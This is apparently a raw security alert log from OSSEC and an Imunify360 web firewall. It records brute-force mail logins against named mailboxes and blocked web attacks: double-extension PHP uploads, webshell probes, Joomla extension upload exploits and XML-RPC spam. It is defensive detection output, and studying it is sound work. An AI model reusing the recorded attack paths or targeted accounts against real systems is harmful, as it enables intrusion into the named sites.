2026-07-06 08:58:51 dovecot_login authenticator failed for H=([103.153.12.245]) [105.247.89.210]:48076: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-06 08:59:31 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [123.212.9.122]:53914: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-06 09:00:06 dovecot_login authenticator failed for H=([68.71.240.212]) [222.97.195.179]:59932: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.31.214.109
country_id: 3439705
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers-2?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.111.110
country_id: 1269750
description:
2026-07-06 09:09:20 dovecot_login authenticator failed for H=(syn-035-130-111-098.biz.spectrum.com) [27.123.111.110]:53282: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.30
country_id: 1269750
description:
2026-07-06 09:09:41 dovecot_login authenticator failed for H=([213.176.122.32]) [27.123.113.30]:58518: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-06 09:09:42 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi (111-70-29-130.emome-ip.hinet.net) [80.223.200.184]:49012: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.44.113.143
country_id: 798544
description:
2026-07-06 09:09:55 dovecot_login authenticator failed for H=([70.166.167.47]) [191.44.113.143]:32756: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.3
country_id: 99237
description:
2026-07-06 09:12:00 dovecot_login authenticator failed for H=([117.191.127.86]) [65.20.138.3]:46633: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-06 09:12:25 dovecot_login authenticator failed for H=([220.189.196.134]) [154.146.240.123]:37652: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77316794
name: IM360 WAF: Block request to known infected file
abuser: 45.227.253.15
country_id: 3703430
domain: idealloanz.com.au
description:
IM360 WAF: Block request to known infected file||RSV:8.25||T:APACHE||MVN:REQUEST_COOKIES:71||MV:decode||Tracked:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-06 09:11:34 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([68.71.253.70]) [82.209.148.60]:34532: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-06 09:13:20 dovecot_login authenticator failed for H=(110-25-105-240.adsl.fetnet.net) [101.13.4.119]:39504: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.118
country_id: 1733045
description:
2026-07-06 09:13:36 dovecot_login authenticator failed for H=([174.64.199.77]) [49.124.147.118]:57540: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-06 09:13:55 dovecot_login authenticator failed for H=([197.157.252.162]) [14.40.114.86]:34730: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77350689
name: IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder
abuser: 185.75.135.220
country_id: 660013
domain: ibmcglobal.com
description:
IM360 WAF: PHP execution blocked in AcyMailing thumbnails folder||MV:/media/com_acym/images/thumbnails/thumbnail_721.png?.php||SC:/home/ibmcglobal/public_html/media/com_acym||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350688
name: IM360 WAF: RCE via thumbnail generator in AcyMailing component for Joomla < 8.5.0
abuser: 185.75.135.220
country_id: 660013
domain: ibmcglobal.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-06 09:17:13 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([46.8.246.27]) [80.223.198.246]:39890: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 185.75.135.220
country_id: 660013
domain: ibmcglobal.com
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/b1.png?.php||WPU:||RSV:8.25||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 185.75.135.220
country_id: 660013
domain: ibmcglobal.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/ibmcglobal/public_html/b1.png?.php||User:ibmcglobal||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.46.34
country_id: 6251999
domain: idealloanz.com.au:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/idealloanz.com.au:80/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-06 09:22:18 dovecot_login authenticator failed for H=(static-200-105-141-161.acelerate.net) [182.95.101.182]:35522: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-06 09:22:30 dovecot_login authenticator failed for H=([49.124.152.30]) [117.254.119.147]:51852: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-06 09:25:12 dovecot_login authenticator failed for H=([121.148.184.47]) [217.29.30.135]:35999: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.207.66.154
country_id: 6251999
description:
2026-07-06 09:25:14 dovecot_login authenticator failed for H=host-24-207-66-154.public.eastlink.ca (50-212-27-146-static.hfc.comcastbusiness.net) [24.207.66.154]:53948: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-06 09:25:41 dovecot_login authenticator failed for H=([192.252.208.66]) [197.219.210.86]:57762: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-06 09:25:59 dovecot_login authenticator failed for H=(187-51-198-202.customer.tdatabrasil.net.br) [200.107.163.195]:57908: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.34.127
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/acoustic-treatments HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.34.118
country_id: 1880251
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 114.31.27.72
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es20?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-07-06 09:33:26 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [154.146.240.123]:50104: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-06 09:33:58 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net ([58.30.60.250]) [111.70.33.194]:50514: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.34.118
country_id: 1880251
domain: mail.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/hega.php||SC:/home/kallanigroup/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.235.148
country_id: 1269750
description:
2026-07-06 09:37:16 dovecot_login authenticator failed for H=(151.237.115.206.pronet.bg) [122.187.235.148]:36484: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-06 09:41:55 dovecot_login authenticator failed for H=([49.124.152.174]) [184.57.39.170]:55964: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-06 09:42:17 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [70.88.108.12]:41002: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.28.5
country_id: 2963597
description:
2026-07-06 09:43:03 dovecot_login authenticator failed for H=(abts-mum-static-140.111.170.122.airtelbroadband.in) [207.254.28.5]:61527: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-06 09:43:15 dovecot_login authenticator failed for H=([41.178.230.115]) [182.95.217.202]:34810: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.165.216.154
country_id: 1668284
description:
2026-07-06 09:47:59 dovecot_login authenticator failed for H=([72.37.216.65]) [115.165.216.154]:38670: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.39.124
country_id: 798544
description:
2026-07-06 09:49:46 dovecot_login authenticator failed for H=89-67-39-124.dynamic.play.pl ([187.50.122.20]) [89.67.39.124]:35598: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-06 09:50:17 dovecot_login authenticator failed for H=([180.94.75.102]) [122.186.202.58]:58328: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-06 09:52:27 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([98.190.239.1]) [223.25.108.2]:54428: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.214.10.178
country_id: 2245662
description:
2026-07-06 09:52:47 dovecot_login authenticator failed for H=([166.150.73.45]) [41.214.10.178]:44260: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.228.168.12
country_id: 1327865
description:
2026-07-06 09:56:10 dovecot_login authenticator failed for H=([112.161.26.125]) [136.228.168.12]:59718: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-06 09:55:49 dovecot_login authenticator failed for H=([59.110.5.198]) [197.219.228.242]:56808: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.171.71.21
country_id: 2363686
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/ HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-06 10:03:04 dovecot_login authenticator failed for H=([182.95.187.86]) [128.185.201.26]:49172: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.82
country_id: 2186224
description:
2026-07-06 10:03:36 dovecot_login authenticator failed for H=([41.128.181.196]) [121.73.163.82]:57978: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 109.107.243.82
country_id: 248816
domain: gsmex.global
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65250.gsmex.global||ServerName:gsmex.global||Method:metaWeblog.newPost||BlogID:1||TitleSHA:db297606b965df17f0304db7f2d59e5345d61187||Title:0x9fe4b2b3||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.129.18
country_id: 2077456
description:
2026-07-06 10:14:43 dovecot_login authenticator failed for H=202-62-129-18.ip.vocus.network ([72.207.109.1]) [202.62.129.18]:61740: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-06 10:15:36 dovecot_login authenticator failed for H=([87.245.211.37]) [172.191.74.151]:38136: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-06 10:15:44 dovecot_login authenticator failed for H=([36.92.35.211]) [182.76.71.82]:60908: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.36.209
country_id: 1835841
description:
2026-07-06 10:18:55 dovecot_login authenticator failed for H=([58.222.72.182]) [168.126.36.209]:45930: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-06 10:20:49 dovecot_login authenticator failed for H=([49.124.153.35]) [27.110.176.222]:56754: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-06 10:21:05 dovecot_login authenticator failed for H=(mission-web-hosting.com) [2.59.162.146]:42176: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-06 10:21:20 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd (172-105-9-180.ip.linodeusercontent.com) [113.11.34.221]:32914: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 197.145.164.199
country_id: 2542007
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.xn--3dkvalq0cx455coz1c.com/wiki/index.php/Todo_sobre_el_Juego_del_Globo:_Jugabet_en_M%C3%A9xico\">el juego del globo Balloon</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-06 10:23:14 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [121.131.220.137]:34525: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-06 10:23:43 dovecot_login authenticator failed for H=([197.219.228.242]) [101.13.5.34]:52112: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.119.154.58
country_id: 1831722
domain: www.alnayza.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/alnay/public_html/index.php||User:alnay||WPU:||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.230
country_id: 130758
domain: www.interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783313866335.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.230
country_id: 130758
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783313941755.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.230
country_id: 130758
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783313941402.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.230
country_id: 130758
domain: vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783314013757.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 72.60.31.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/EVIL0RD_1783314045198.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.243.200.248
country_id: 1861060
description:
2026-07-06 10:31:30 dovecot_login authenticator failed for H=(abts-north-static-233.69.160.122.airtelbroadband.in) [20.243.200.248]:45686: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-06 10:31:55 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([118.98.90.22]) [73.203.17.220]:46990: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/iogamesunblocked\">Basket Bros Unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-06 10:35:13 dovecot_login authenticator failed for H=([98.178.72.4]) [220.235.225.112]:55003: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-06 10:35:31 dovecot_login authenticator failed for H=([111.26.95.126]) [182.73.109.194]:58296: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.47.252.84
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://telegra.ph/Trendy-vysokoj-mody-2025-kapsulnyj-garderob-ot-Oskelly-06-23\">\xd0\xbe\xd1\x81\xd0\xba\xd0\xb5\xd0\xbb\xd0\xbb\xd0\xb8 \xd0\xb8\xd0\xbd\xd1\x82\xd0\xb5\xd1\x80\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xbc\xd0\xb0\xd0\xb3\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xbd</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.165.29.196
country_id: 1733045
description:
2026-07-06 10:38:16 dovecot_login authenticator failed for H=([31.171.125.179]) [202.165.29.196]:36995: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-06 10:42:35 dovecot_login authenticator failed for H=(88.248.250.143.static.ttnet.com.tr) [182.95.102.190]:48626: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.139.190.235
country_id: 357994
description:
2026-07-06 10:42:55 dovecot_login authenticator failed for H=([49.124.159.193]) [62.139.190.235]:55122: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-06 10:43:15 dovecot_login authenticator failed for H=([27.223.98.117]) [103.163.44.10]:37950: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 64.204.250.102
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:helper-provider.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 64.204.250.102
country_id: 2921044
domain: globalgroupoman.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:helper-provider.jpg||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 64.204.250.102
country_id: 2921044
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:template-filter.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 64.204.250.102
country_id: 2921044
domain: www.globalgroupoman.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:template-filter.jpg||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-06 10:50:29 dovecot_login authenticator failed for H=(nsg-corporate-12.229.187.122.airtel.in) [210.177.143.61]:50890: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 62.60.130.235
country_id: 130758
domain: www.ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783315184340.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.204.230.249
country_id: 1694008
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:18525.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1991a2606fbb1aeb710783f72b1e87dd00e13eed||Title:0x11f5edb2||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/fnaf-unblocked\">fnaf unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-06 10:52:05 dovecot_login authenticator failed for H=([124.160.45.26]) [122.184.124.46]:43306: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.204.230.249
country_id: 1694008
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94778.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2cbf9b81eb02100cfdaf4a1d56512664a6b42b76||Title:0x02365c3d||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-06 10:53:28 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se (abts-west-static-211.232.201.106.airtelbroadband.in) [79.136.8.69]:38092: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-06 10:54:08 dovecot_login authenticator failed for H=(h77-53-193-47.cust.bredband2.com) [122.185.44.206]:50541: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.70.20.223
country_id: 1819730
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/keralapeople/public_html/wp-admin||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 166.88.155.157
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:166.88.155.157||TA:166.88.155.157||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.244.196
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/11/01/company-launches-new-software-channel/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.26.125
country_id: 1835841
description:
2026-07-06 11:01:08 dovecot_login authenticator failed for H=([162.212.13.76]) [112.161.26.125]:37356: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.75
country_id: 2300660
description:
2026-07-06 11:01:18 dovecot_login authenticator failed for H=([197.219.228.242]) [197.251.249.75]:58204: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-06 11:01:59 dovecot_login authenticator failed for H=(132-198-216-46-dynamic-pool.internet.mts.by) [219.248.4.146]:45926: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-06 11:02:12 dovecot_login authenticator failed for H=(191.34.34.41.static.adsl.gvt.net.br) [196.190.220.168]:43498: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-06 11:02:21 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (ip-179.48.229.118.fiberlinkpe.net.br) [65.73.230.102]:43740: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
